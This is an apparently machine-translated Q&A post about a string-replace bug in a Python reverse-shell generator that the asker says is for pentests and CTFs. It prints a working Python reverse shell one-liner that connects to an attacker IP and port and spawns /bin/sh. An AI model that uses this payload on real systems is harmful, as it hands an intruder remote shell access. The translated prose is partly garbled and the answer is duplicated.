Python 删除文件replace()中的多个字符串无效

Python 删除文件replace()中的多个字符串无效,python,python-3.x,regex,replace,Python,Python 3.x,Regex,Replace,我目前在代码方面遇到一些问题。我正在创建一个反向外壳生成器,它可以自动使用pentests来捕获旗帜比赛 脚本将读取包含有效负载的文件,然后脚本将选择要获取的特定行,然后替换回接ip地址和端口,并将有效负载输出给用户。 然而,我在一些问题上陷入了困境。问题是,我试图在读取包含我的文本的文件时替换两个不同的字符串,其中一个字符串被替换,而另一个不被替换: 要替换的字符串 [知识产权] [港口] 我也已经阅读了以前使用regex的文章,但没有得到更多的运气。在我的代码中注释掉的regex部分上接

我目前在代码方面遇到一些问题。我正在创建一个反向外壳生成器,它可以自动使用pentests来捕获旗帜比赛

脚本将读取包含有效负载的文件,然后脚本将选择要获取的特定行,然后替换回接ip地址和端口,并将有效负载输出给用户。 然而,我在一些问题上陷入了困境。问题是,我试图在读取包含我的文本的文件时替换两个不同的字符串,其中一个字符串被替换,而另一个不被替换:

  • 要替换的字符串
[知识产权]

[港口]

我也已经阅读了以前使用regex的文章,但没有得到更多的运气。在我的代码中注释掉的regex部分上接收错误:“意外令牌”

我的代码:

import socket
import base64
import hashlib
import re 
import os # Fetching ip from interface
import linecache # for reading specific lines

ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
    print("Welcome, lets generate a choosen reverse shell\n")
    global ip
    global port

    print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
    selection = input("Type in number:\t")
    if int(selection) == 1:
        with open("myshells.txt", "r") as shells:
            #for myreplace in (("[ip]", ip), ("[port]", port)):
            fetchshell = linecache.getline('myshells.txt', 1)
            ipreplaced = fetchshell.replace("[ip]", ip)
            ipreplaced = fetchshell.replace("[port]", port)
            print(ipreplaced)
        """for line in fetchshell:
            myport = line.write(re.sub(r"(port)", port))
            myip = line.write((re.sub(r"(ip)", ip))
            print(line)"""
文件内容:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
上述代码的示例输出:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

您需要在第一个的输出上执行第二个
.replace()
,否则第一个替换将被丢弃。@jasonharper谢谢!这就解决了问题。感谢您的帮助和时间。您需要对第一个的输出执行第二个
.replace()
,否则第一个替换将被丢弃。@jasonharper谢谢!这就解决了问题。感谢你的帮助和时间。